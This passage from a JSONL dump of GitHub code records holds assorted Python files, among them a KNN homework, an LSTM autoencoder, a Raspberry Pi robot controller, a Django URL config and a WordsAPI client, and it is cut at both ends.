pandas.read_csv(\"water-potability.csv\")\ndata = data.dropna()\nX = data.drop(columns=[\"Potability\"])\ny = data[\"Potability\"]\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\nprint (X_train)\n#krok 3,4 - výběr algoritmu a trénování modelu\nclf = KNeighborsClassifier()\nclf.fit(X_train, y_train)\nprint(clf)\n#krok 5 - vyhodnocení modelu\ny_pred = clf.predict(X_test)\nprint(y_pred)\nprint(confusion_matrix(y_true=y_test, y_pred=y_pred))\nConfusionMatrixDisplay.from_estimator(clf, X_test, y_test, display_labels=clf.classes_, cmap=plt.cm.Blues,)\nplt.show()\nprint(precision_score(y_test, y_pred))\n#krok 6 - upravení parametru modelu\nks = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23]\nprecision_scores = []\nf1_scores = []\nfor k in ks:\n clf = KNeighborsClassifier(n_neighbors=k)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n precision_scores.append(precision_score(y_test, y_pred))\n #print(k, precision_score(y_test, y_pred))\nfor k in ks:\n clf = KNeighborsClassifier(n_neighbors=k)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n f1_scores.append(f1_score(y_test, y_pred))\n #print(k, f1_score(y_test, y_pred))\nplt.plot(ks, f1_scores, precision_scores)\nplt.show()\n\n# krok 7 - závěrečná predikce\nclf = KNeighborsClassifier(n_neighbors=15)\nclf.fit(X_train, y_train)\ny_pred = clf.predict(X_test)\nprint(precision_score(y_test, y_pred))\n\n\"\"\"Při výběru metriky precision score je parametr k=15 (u f1_score metriky to bylo k=3). Confusion matrix se nezměnila.\nMatice je TP=97, TN=283, FP=72, FN=152\nOtázce: Dovedeš z matice odvodit výpočet, který nám dá stejnou hodnotu, jako při použití metody precision? úplně nerozumím, \nzda je to 97/(97+72)?\"\"\"","repo_name":"hfa1978/python-032021","sub_path":"ukoly9/W9_K_nearest_neighbors1.py","file_name":"W9_K_nearest_neighbors1.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33153288635","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views, views_register, views_extra\n\nurlpatterns = [\n\tpath('get/', views.crawlBlogs, name = 'crawlBlogs'),\n\tpath('register/', views_register.signUp, name = 'signUp'),\n\tpath('login/', views_register.login, name = 'login'),\n\tpath('logout/', views_register.logout, name = 'logout'),\n\tpath('get/<str:tag>', views.getBlogs, name = 'getBlogs'),\n\tpath('show/', views.showHistory, name = 'showHistory'),\n\tpath('auto/<str:word>', views_extra.autoComplete, name = 'autoComplete'),\n\tpath('typo/<str:word>', views_extra.typoSuggest, name = 'typoSuggest')\n]","repo_name":"nisarg1499/crawler-django","sub_path":"project/crawl/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71835687874","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAutoencoder code.\n\"\"\"\nimport numpy as np \nimport matplotlib.pyplot as plt\nimport torch \nfrom torch import nn \nfrom torch.autograd import Variable \n \n \n# Encoder Class\nclass Encoder(nn.Module):\n def __init__(self, input_size, hidden_size):\n \"\"\"\n Encoder initialisation.\n Inputs:\n * input_size (int): the number of expected features in the input x, corresponds to time-steps of the input matrices\n * hidden_size (int): the number of features in the hidden state h, also translate to the number of neurons on our latent layer in our case \n \"\"\"\n super(Encoder, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n\n self.lstm_encoder_1 = nn.LSTM(input_size=input_size, hidden_size=48, batch_first=True)\n self.lstm_encoder_2 = nn.LSTM(input_size=48, hidden_size=32, batch_first=True)\n self.lstm_encoder_3 = nn.LSTM(input_size=32, hidden_size=hidden_size, batch_first=True)\n \n\n def forward(self, x):\n \"\"\"\n Run forward computation.\n Inputs:\n * x (torch.Tensor): tensor of input data\n Outputs: \n * x_enc (torch.Tensor): final hidden state \n * out (torch.Tensor): final output\n \"\"\"\n x, (_, _) = self.lstm_encoder_1(x)\n x, (_, _) = self.lstm_encoder_2(x)\n out, (last_h_state, last_c_state) = self.lstm_encoder_3(x)\n x_enc = last_h_state.squeeze(dim=0)\n x_enc = x_enc.unsqueeze(1).repeat(1, x.shape[1], 1)\n return x_enc, out\n \n\n\n# Decoder Class\nclass Decoder(nn.Module):\n def __init__(self, input_size, hidden_size):\n \"\"\"\n Decoder initialisation.\n Inputs:\n * input_size : the number of expected features in the input x, corresponds to time-steps of the input matrices\n * hidden_size : the number of features in the hidden state h, also translate to the number of neurons on our latent layer in our case \n \"\"\"\n super(Decoder, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n\n self.lstm_decoder_1 = nn.LSTM(input_size=hidden_size, hidden_size=32, batch_first=True)\n self.lstm_decoder_2 = nn.LSTM(input_size=32, hidden_size=48, batch_first=True)\n self.lstm_decoder_3 = nn.LSTM(input_size=48, hidden_size=input_size, batch_first=True)\n \n\n def forward(self, z):\n \"\"\"\n Run forward computation.\n Inputs:\n * z (torch.Tensor): tensor of input data\n Outputs: \n * hidden_state (torch.Tensor): final hidden state \n * dec_out (torch.Tensor): final output\n \"\"\"\n # z = z.unsqueeze(1).repeat(1, self.seq_len, 1)\n z, (_, _) = self.lstm_decoder_1(z)\n z, (_, _) = self.lstm_decoder_2(z)\n dec_out, (hidden_state, cell_state) = self.lstm_decoder_3(z)\n return dec_out, hidden_state\n\n\n# LSTM Auto-Encoder Class\nclass LSTMAE(nn.Module):\n def __init__(self, input_size, hidden_size):\n \"\"\"\n Model initialisation.\n Inputs:\n * input_size : the number of expected features in the input x, corresponds to time-steps of the input matrices\n * hidden_size : the number of features in the hidden state h, also translate to the number of neurons on our latent layer in our case \n \"\"\"\n super().__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n\n self.encoder = Encoder(input_size=input_size, hidden_size=hidden_size)\n self.decoder = Decoder(input_size=input_size, hidden_size=hidden_size)\n\n def forward(self, x, return_last_h=False, return_enc_out=False):\n \"\"\"\n Run forward computation.\n Inputs:\n * x (torch.Tensor): tensor of input data\n * return_last_h (boolean): true to return final hidden state\n * return_enc_out (boolean): true to return final cell state \n Outputs: \n * x_dec (torch.Tensor): final output\n \"\"\"\n x_enc, enc_out = self.encoder(x)\n x_dec, last_h = self.decoder(x_enc)\n\n if return_last_h:\n return x_dec, last_h\n elif return_enc_out:\n return x_dec, enc_out\n return x_dec \n \n \ndef train_epoch_lstm(input_data, net, criterion, optimizer) :\n \"\"\"\n Train the LSTM neural network.\n\n Inputs:\n * input_data (np.array): dataset to train the neural network \n * net (Pytorch neural network): the neural network to train\n * criterion (method from nn.Module to estimate the loss): loss to use during training \n * optimizer (optimizer from torch.optim): optimization algorithm to use during training \n Outputs:\n * train_loss(float): final loss \n \"\"\"\n \n # initialize the parameters\n train_loss= 0.0\n net.train()\n \n for sim in input_data : # loop over the data points (simulations) in the dataset \n # predictions\n sim = sim.float()\n output = net(sim)\n # calculate loss\n loss = criterion(output, sim)\n # backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # update loss\n train_loss +=loss.item()\n \n return train_loss \n\n \ndef valid_epoch_lstm(test_data, net):\n \"\"\"\n Evaluate the LSTM neural network.\n\n Inputs:\n * test_data (np.array): dataset to evaluate using the trained neural network \n * net (Pytorch neural network): the neural network to evaluate\n \n Outputs:\n * err (float): the relative test error \n \"\"\"\n \n # initialize the parameters\n net.eval() \n pred = []\n \n with torch.no_grad():\n for data in test_data :\n data = data.float()\n # predict the output \n predicted = net(data)\n pred.append(predicted)\n # compute the relative error \n err = (relative_error_lstm(test_data, pred))\n\n return err \n\n\ndef relative_error_lstm(y, y_pred) : \n \"\"\"\n Evaluate the relative error for the LSTM model.\n\n Inputs:\n * y (np.array): the true outputs (equal to the inputs in the autoencoder) \n * y_pred (np.array): the predicted outputs\n \n Outputs:\n * rel_err (float): the relative test error \n \"\"\"\n \n sum = 0\n i = 0\n for idx, y_val in enumerate(y):\n for idx_2, y_one in enumerate(y_val):\n sum += np.linalg.norm((y_one-y_pred[idx][idx_2]), 2)**2/(np.linalg.norm(y_one,2)**2)\n i += 1\n \n rel_err = sum / (i)\n return rel_err\n \n\n \n \n \n \n ","repo_name":"CS-433/ml-project-2-thevipers2","sub_path":"LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":6896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3208655172","text":"class Solution:\n def makeStringsEqual(self, s: str, target: str) -> bool:\n tmp = \"\"\n for c1, c2 in zip(s, target):\n if c1 != c2:\n tmp += c1\n cnt1 = tmp.count('1')\n cnt0 = tmp.count('0')\n if cnt1 >= cnt0 != 0:\n return True\n return False\n\n\nif __name__ == '__main__':\n s = \"100101000101110001\"\n target = \"000101000000110001\"\n solution = Solution()\n res = solution.makeStringsEqual(s, target)\n print(res)","repo_name":"foreverxujiahuan/algorithm","sub_path":"竞赛/A329/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"40057073972","text":"from matminer.featurizers.composition import Meredig\nfrom ase.io import read\nfrom pymatgen.io import ase as pm_ase\nimport numpy as np\nimport pandas as pd\nimport os\n\n# Settings\nxyz_path = os.path.join('..','qmof-geometries.xyz') # list of appended XYZs (length N)\nrefcodes_path = os.path.join('..','qmof-refcodes.csv') # list of refcodes (length N)\n\n#---------------------------------------\n# Read in structures\nase_mofs = read(xyz_path, index=':')\nrefcodes = np.genfromtxt(refcodes_path, delimiter=',', dtype=str)\nadaptor = pm_ase.AseAtomsAdaptor()\npm_mofs = [adaptor.get_structure(ase_mof) for ase_mof in ase_mofs]\n\n# Initialize feature object\nfeaturizer = Meredig()\nfeatures = featurizer.feature_labels()\ndf = pd.DataFrame(columns=features)\n\n# Get features\nfor i, pm_mof in enumerate(pm_mofs):\n\tprint('Generating fingerprint: '+str(i))\n\tfingerprint = featurizer.featurize(pm_mof.composition)\n\trefcode = refcodes[i]\n\tdf.loc[refcode, :] = fingerprint\n\n# Export features\ndf.index.name = 'MOF'\ndf.to_csv('stoich120_fingerprints.csv', index=True)\n","repo_name":"arosen93/QMOF","sub_path":"machine_learning/meredig_stoichiometric_120/stoich120_feature_generator.py","file_name":"stoich120_feature_generator.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"61"} +{"seq_id":"21788520144","text":"import os\nfrom setuptools import setup, find_packages\n\nversion = '0.1a1'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.txt')).read()\n\nsetup(name='iqpp.easyshop',\n version=version,\n description=\"An out-of-the-box online shop for Plone.\",\n long_description=README,\n classifiers=[\n \"Framework :: Plone\",\n \"Framework :: Zope2\",\n \"Framework :: Zope3\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n keywords='',\n author='Kai Diefenbach',\n author_email='kai.diefenbach@iqpp.de',\n url='http://iqpp.de',\n license='GPL',\n packages=find_packages(exclude=['ez_setup']),\n namespace_packages=['easyshop'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n # -*- Extra requirements: -*-\n \"easyshop.carts\",\n \"easyshop.catalog\",\n \"easyshop.checkout\",\n \"easyshop.criteria\",\n \"easyshop.customers\",\n \"easyshop.discounts\",\n \"easyshop.groups\",\n \"easyshop.information\",\n \"easyshop.kss\",\n \"easyshop.login\",\n \"easyshop.management\",\n \"easyshop.order\",\n \"easyshop.payment\",\n \"easyshop.shipping\",\n \"easyshop.shop\",\n \"easyshop.stocks\",\n \"easyshop.taxes\",\n \"zc.authorizedotnet\",\n \"Products.DataGridField\" \n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n \"\"\",\n )","repo_name":"ned14/Easyshop","sub_path":"Attic_from_svn_import/iqpp.easyshop/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"} +{"seq_id":"43235895400","text":"class Graph:\n def __init__(self, gdict=None):\n if gdict is None:\n gdict = {}\n self.gdict = gdict\n\n def add_edge(self, vertex, edge):\n self.gdict[vertex].append(edge)\n\n def bfs(self, vertex):\n visited = [vertex]\n queue = [vertex]\n while queue:\n de_vertext = queue.pop(0)\n print(de_vertext)\n for adjacent_vertex in self.gdict[de_vertext]:\n if adjacent_vertex not in visited:\n queue.append(adjacent_vertex)\n visited.append(adjacent_vertex)\n\n\ncostomDict = {\n \"a\": [\"b\", \"c\"],\n \"b\": [\"a\", \"d\", \"e\"],\n \"c\": [\"a\", \"e\"],\n \"d\": [\"b\", \"e\", \"f\"],\n \"e\": [\"d\", \"f\", \"c\"],\n \"f\": [\"d\", \"e\"]\n}\n\ngraph = Graph(costomDict)\ngraph.add_edge(\"a\", \"f\")\nprint(graph.gdict)\ngraph.bfs(\"a\")","repo_name":"abdrasheedm/Python-DataStructure","sub_path":"dsPractice/Graph/BFSTraversal.py","file_name":"BFSTraversal.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11998803015","text":"class DatabaseBackend(object):\n FUNCTIONS = {}\n\n @classmethod\n def has(cls, feature):\n return getattr(cls, f'has_{feature}', False)\n\n @classmethod\n def get_query(cls, name, *args, **kwargs):\n method = f'get_{name}_query'\n return getattr(cls, method)(*args, **kwargs)\n\n def has_function(cls, fn):\n return fn in cls.FUNCTIONS\n\n @staticmethod\n def get_include_zql(include, table, column, tag=None):\n clauses = []\n column = f'{table}.{column}'\n if not include or include is True:\n return None\n\n includes = excludes = False\n for key, should in include.items():\n should_dict = isinstance(should, dict)\n if should_dict:\n should_dict = should\n if 'enabled' in should:\n should = should['enabled']\n if not should:\n continue\n should = bool(should)\n if key.startswith('~'):\n should = not should\n key = key[1:]\n\n wild = False\n if \"*\" in key:\n wild = True\n operator = \"~~\" if should else \"!~~\"\n key = key.replace(\"*\", \"%\")\n else:\n operator = \"=\" if should else \"!=\"\n\n if tag is None:\n name = key\n else:\n name = should_dict.get(tag, key) if should_dict else key\n if wild and should_dict and tag in should_dict:\n raise ValueError(f\"Cannot have tag '{name}' for wild key '{key}'\")\n\n clauses.append({operator: [column, f\"'{name}'\"]})\n if should:\n includes = True\n else:\n excludes = True\n\n if len(clauses) > 1:\n if includes and not excludes:\n union = \"or\"\n else:\n union = \"and\"\n return {union: clauses}\n elif len(clauses) == 1:\n return clauses[0]\n else:\n return None\n\n @staticmethod\n async def initialize(database):\n pass\n","repo_name":"aleontiev/adbc","sub_path":"adbc/backends/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"20483356226","text":"from threading import Thread\nfrom time import sleep\nfrom datetime import datetime\n\ndef funcion():\n print('llamada a otra funcion')\n\n\ndef temporizador():\n hora_pub = datetime.strptime(hora, '%H:%M:%S')\n while(True):\n if datetime.now().minute == hora_pub.minute:\n print(\"hilo ejecutado \", datetime.now().time())\n funcion()\n sleep(60)\n sleep(5)\n\n\nhora = \"12:21:00\"\nhilo = Thread(name='hilo', target=temporizador, daemon=True)\nhilo.start()\nwhile(True):\n print(\"programa principal\")\n sleep(4)\n","repo_name":"matias1405/sistema-deteccion-incendios-iot","sub_path":"test/test_thread.py","file_name":"test_thread.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71788160514","text":"# TensorFlow and tf.keras\nimport tensorflow as tf\n\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nfashion_mnist = tf.keras.datasets.fashion_mnist\n\n(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n\ntrain_images = train_images / 255.0\ntest_images = test_images / 255.0\n\ninput = tf.keras.layers.Input(shape=train_images.shape)\nflattened = tf.keras.layers.Flatten(input_shape=(28,28))(input) \nhidden1 = tf.keras.layers.Dense(128, activation='softmax')(flattened)\nhidden2 = tf.keras.layers.Dense(128, activation='relu')(hidden1) \noutput = tf.keras.layers.Dense(10)(hidden2)\nmodel = tf.keras.Model(inputs = [input], outputs = [output])\nmodel.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\nhistory = model.fit(train_images, train_labels, epochs=10)\nplt.plot(history.history['accuracy'], label='Training Accuracy')\nplt.show()\ntest_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)\n\nprint('\\nTest accuracy:', test_acc)","repo_name":"donguyentung2001/ml-lab8","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44737052587","text":"import re\n\n\ndef _match(regex, input_str):\n match = re.match(regex, input_str)\n if match:\n return match.groupdict()\n return None\n\n\ndef parse_repo_slug(value):\n # ex: OrgName/repo-name\n return _match(r'(?P<github_org>[^/]+)/(?P<github_repo>[^/]+)', value)\n\n\ndef parse_pull_request(value):\n # ex: '1'\n return {'github_pr_number': int(value)}\n\n\ndef get_pull_request_dict(env):\n pull_request_dict = {}\n for env_var_name, parser in (\n ('TRAVIS_REPO_SLUG', parse_repo_slug),\n ('TRAVIS_PULL_REQUEST', parse_pull_request),\n ):\n env_var_value = env.get(env_var_name)\n if env_var_value:\n info = parser(env_var_value)\n if info:\n pull_request_dict.update(info)\n return pull_request_dict\n","repo_name":"NerdWalletOSS/github-lgtm","sub_path":"lgtm/integrations/travis.py","file_name":"travis.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"2816415390","text":"import collections\n# 거짓말\n# 그래프 탐색 문제 ( queue 사용 )\n# int 타입의 list 선언이 불가능하므로,\n# str 형태로 삽입 후, int 타입으로 변환하여 사용\n# append = 형식 그대로 추가 / extend = 분리해서 추가\n\nvisit = [ False for _ in range(50) ] # 파티별 거짓말 가능한 여부\njoin = [ [] for _ in range(51) ] # 손님 k 가 참가한 파티 수\n\nN, M = map(int, input().split())\nfact = list(map(int,input().split()))[1:] # 첫 값을 제외한 나머지는 진실을 아는 사람들 번호\nparty = list(list(map(int, input().split()[1:])) for _ in range(M)) # 참가자 목록\n\nfor i,a in enumerate(party):\n for b in a:\n join[b].append(str(i)) # b는 i번째 파티에 참가함\n\nans = collections.deque() # 큐 생성\nfor f in fact:\n ans.extend(join[f]) # 진실을 아는 자들이 참여한 파티리스트 전부 삽입\nwhile ans:\n p = int(ans.popleft())\n if visit[p]:\n continue\n visit[p] = True\n for person in party[p]:\n ans.extend(join[person]) # 해당 사람이 참여한 모든 파티번호를 삽입\n\nsum = 0\nfor k in range(M):\n if not visit[k]: # 큐에 속한적이 없다면 거짓말 가능\n sum += 1\nprint(sum) # 정답 출력","repo_name":"ku-alps/sw15_hyunsoo","sub_path":"Python/No1043.py","file_name":"No1043.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33510359174","text":"import RPi.GPIO as GPIO\nimport time\nimport pygame\nimport sys\nfrom pygame.locals import *\nimport os\nstop_d = 0#(1.5/21.5)*100\nstop_f = 1/(0.0215)\nd1 = 1.5\nd2 = 1.5\nfreq1 = 21.5\nfreq2 = 21.5\npanic = 1\nrun = True\n\n#CONTROL INITIALIZATION--------------------------------\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(16, GPIO.OUT)\nGPIO.setup(5, GPIO.OUT)\n\n#left\np1 = GPIO.PWM(16, 46.1)\np1.start(0)\n\n#right\np2 = GPIO.PWM(5, 46.1)\np2.start(0)\n#--------------------------------------------------\n\n#Screen Init--------------------------------------\nfor_1_d = 1.65/21.65\nfor_1_f = 1/0.02165\nback_1_d = 1.38/21.38\nback_1_f = 1/0.02138\n\n#direction clockwise = 1, stop = 0, counter = -1\ndef full_speed (servo, direction) :\n if ( direction == 1 ) :\n if ( servo == 1 ) :\n p1.ChangeDutyCycle(for_1_d*100)\n p1.ChangeFrequency(for_1_f)\n if ( servo == 2 ):\n p2.ChangeDutyCycle(back_1_d*100) \n p2.ChangeFrequency(back_1_f)\n if ( direction == 0 ) :\n if ( servo == 1 ) :\n p1.ChangeDutyCycle(stop_d) \n p1.ChangeFrequency(stop_f) \n if ( servo == 2 ):\n p2.ChangeDutyCycle(stop_d)\n p2.ChangeFrequency(stop_f)\n if ( direction == -1 ) :\n if ( servo == 1 ) :\n p1.ChangeDutyCycle(back_1_d*100)\n p1.ChangeFrequency(back_1_f)\n if ( servo == 2 ) :\n p2.start(for_1_d*100) \n p2.ChangeFrequency(for_1_f)\n\ndef left_turn():\n start = time.time()\n while ( time.time() - start < 0.5 ) :\n full_speed(1, 0)\n full_speed(2, 1)\n\ndef forward() :\n full_speed(1,1)\n full_speed(2,1)\n\ndef backward():\n full_speed(1,-1)\n full_speed(2,-1)\n\ndef right_turn():\n start = time.time()\n while ( time.time() - start < 0.5) :\n full_speed(2,0)\n full_speed(1,1)\n\ndef stop():\n full_speed(2,0)\n full_speed(1,0)\n\nFIFO = '/home/pi/WifiRobot/project/robot_fifo'\ncal = 30\nstill = 0\ntry :\n run = True\n fifo = open(FIFO)\n side = 0\n z = 0\n fw_bw = 0\n lf_rg = 0\n\n while run :\n time.sleep(0.2)\n #Read from FIFO\n while True: \n line = fifo.read()\n if len(line) > 2 :\n \n #Move robot according to accelerometer readings\n split_line = line.split( \"\\n\" )\n for l in split_line :\n t = l.split(\":\")\n \n if cal > 0 :\n if ( t[0] == \"zValue\") :\n still_z = float(t[1]) \n elif ( t[0] == \"xValue\" ) :\n still_x = float(t[1]);\n cal = cal - 1;\n\n #Move forward or backwards depending on the ZValue\n elif ( t[0] == \"zValue\" ) :\n z = float(t[1])\n if ( (z > still_z + 0.1) and (side < still_x - 0.1) ) :\n fw_bw = fw_bw + 1\n if ( fw_bw > 2 ) :\n forward()\n print (\"forward\\n\")\n elif ( (z < still_z - 0.1) and (side > still_x + 0.1)):\n fw_bw = fw_bw + 1\n if ( fw_bw > 2 ) :\n backward()\n print (\"backward\\n\")\n else :\n fw_bw = 0\n if ( lf_rg == 0 ) :\n stop()\n print (\"still\\n\")\n\n #Move left or right\n elif ( t[0] == \"xValue\" and fw_bw == 0 ):\n\n print(\"legal turn, x= \"+(str(t[1])))\n side = float(t[1])\n if ( side < still_x - 0.1 ) :\n lf_rg = lf_rg + 1\n if ( lf_rg > 2 ) : \n right_turn()\n lf_rg = 0 \n print (\"right\\n\")\n elif ( side >= still_x + 0.05 ):\n lf_rg = lf_rg + 1\n if ( lf_rg > 2 ) :\n left_turn()\n lf_rg= 0\n print (\"left\\n\")\n else :\n lf_rg = 0\n if ( fw_bw == 0 ) :\n stop()\n print (\"still\\n\")\n\n \n\nexcept KeyboardInterrupt:\n p1.stop()\n p2.stop()\n GPIO.cleanup()\n\n","repo_name":"cya6/WifiRobot","sub_path":"project/robot_control.py","file_name":"robot_control.py","file_ext":"py","file_size_in_byte":4689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74987213633","text":"import os\n\nimport pytest\n\npath_file = \"prod_file.pkl\"\n\n@pytest.fixture(autouse=True)\ndef delete_prod_file():\n if os.path.isfile(path_file):\n os.remove(path_file)\n print(\"File delete\")\n else:\n print(\"File not found\")","repo_name":"DedMokus/PytLab","sub_path":"lab4/test/fixture.py","file_name":"fixture.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22945128623","text":"\nfrom vsg.rules import token_prefix\n\nfrom vsg import token\n\nlTokens = []\nlTokens.append(token.constant_declaration.identifier)\n\n\nclass rule_015(token_prefix):\n '''\n This rule checks for valid prefixes on constant identifiers.\n The default constant prefix is *c\\_*.\n\n |configuring_prefix_and_suffix_rules_link|\n\n **Violation**\n\n .. code-block:: vhdl\n\n constant my_const : integer;\n\n **Fix**\n\n .. code-block:: vhdl\n\n constant c_my_const : integer;\n '''\n\n def __init__(self):\n token_prefix.__init__(self, 'constant', '015', lTokens)\n self.prefixes = ['c_']\n","repo_name":"jeremiah-c-leary/vhdl-style-guide","sub_path":"vsg/rules/constant/rule_015.py","file_name":"rule_015.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"61"} +{"seq_id":"15978136154","text":"import numpy as np\nimport pygame as pg\nimport math\n\n\nclass Player:\n def __init__(self, WIDHT, HEIGHT):\n self.WIDHT = WIDHT\n self.HEIGHT = HEIGHT\n pg.mouse.set_pos((200, 200))\n pg.mouse.set_visible(False)\n self.dmx, self.dmy = 200, 200\n self.pos = np.array([0, 0], dtype=float)\n self.angle = math.pi / 4\n self.height = 270\n self.pitch = 40\n self.angle_vel = 0.01\n self.vel = 15\n\n def update(self):\n dmx, dmy = pg.mouse.get_pos()\n dmx -= self.dmx\n dmy -= self.dmy\n self.dmx, self.dmy = pg.mouse.get_pos()\n if self.dmx <= 10:\n pg.mouse.set_pos((200, 200))\n self.dmx = 200\n self.dmy = 200\n elif self.dmx >= self.WIDHT-10:\n pg.mouse.set_pos((200, 200))\n self.dmx = 200\n self.dmy = 200\n if self.dmy <= 10:\n pg.mouse.set_pos((200, 200))\n self.dmx = 200\n self.dmy = 200\n elif self.dmy >= self.HEIGHT-10:\n pg.mouse.set_pos((200, 200))\n self.dmx = 200\n self.dmy = 200\n\n self.angle += dmx / 400\n self.pitch -= dmy * 2\n self.pitch = min(max(self.pitch, -1000), 500)\n pressed_key = pg.key.get_pressed()\n\n sin_a = math.sin(self.angle)\n cos_a = math.cos(self.angle)\n if pressed_key[pg.K_q]:\n self.height += self.vel\n if pressed_key[pg.K_e]:\n self.height -= self.vel\n\n if pressed_key[pg.K_w]:\n self.pos[0] += self.vel * cos_a\n self.pos[1] += self.vel * sin_a\n if pressed_key[pg.K_s]:\n self.pos[0] -= self.vel * cos_a\n self.pos[1] -= self.vel * sin_a\n if pressed_key[pg.K_a]:\n self.pos[0] += self.vel * sin_a\n self.pos[1] -= self.vel * cos_a\n if pressed_key[pg.K_d]:\n self.pos[0] -= self.vel * sin_a\n self.pos[1] += self.vel * cos_a\n","repo_name":"Glebusbus/Game-Jam","sub_path":"data/classes/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38109971342","text":"import os\nimport requests\nfrom .exceptions import WordsapyException\nfrom .dict_obj import DictObj\n\n\nclass WordsapyClient():\n\n def __init__(self, api_key=None):\n if api_key is not None:\n self.api_key = api_key\n self._base_url = 'https://wordsapiv1.p.rapidapi.com/words/'\n self._headers = {\n 'x-rapidapi-key': self.api_key,\n 'x-rapidapi-host': 'wordsapiv1.p.rapidapi.com'\n }\n\n @property\n def api_key(self):\n return os.environ.get('WORDS_API_KEY')\n\n @api_key.setter\n def api_key(self, api_key):\n os.environ['WORDS_API_KEY'] = str(api_key)\n\n def _get(self, action, word='', results_key='', params=''):\n '''\n '''\n if self.api_key is None or self.api_key == '':\n raise WordsapyException('API key not found.')\n\n url = '{}{}{}'.format(self._base_url, word, '/' + action if action else '')\n response = requests.request(\"GET\", url, params=params, headers=self._headers)\n json = response.json()\n\n if ('success' in json and json['success'] == False) or 'message' in json:\n raise WordsapyException(json['message'] if 'message' in json else 'Unknown error')\n\n if results_key:\n if isinstance(json[results_key], list):\n return [DictObj(item) if isinstance(item, dict) else item for item in json[results_key]]\n else:\n return DictObj(json[results_key])\n\n return DictObj(json)\n\n","repo_name":"BackrndSource/wordsapy","sub_path":"wordsapy/wordsapy.py","file_name":"wordsapy.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"8306995973","text":"import os, sys\n\nfrom torch.utils.data import DataLoader\nimport numpy as np\nfrom .data_loader import KTDataset\nfrom .dkt_forget_dataloader import DktForgetDataset\nfrom IPython import embed\n\ndef init_test_datasets(data_config, model_name, batch_size):\n test_question_loader, test_question_window_loader = None, None\n if model_name in [\"dkt_forget\"]:\n test_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_file\"]), data_config, {-1})\n test_window_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_window_file\"]),\n data_config, {-1})\n if \"test_question_file\" in data_config:\n test_question_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_question_file\"]), data_config, {-1}, True)\n test_question_window_dataset = DktForgetDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_question_window_file\"]), data_config, {-1}, True)\n else:\n\n test_dataset = KTDataset(os.path.join(data_config[\"dpath\"], data_config[\"test_file\"]), data_config, {-1})\n 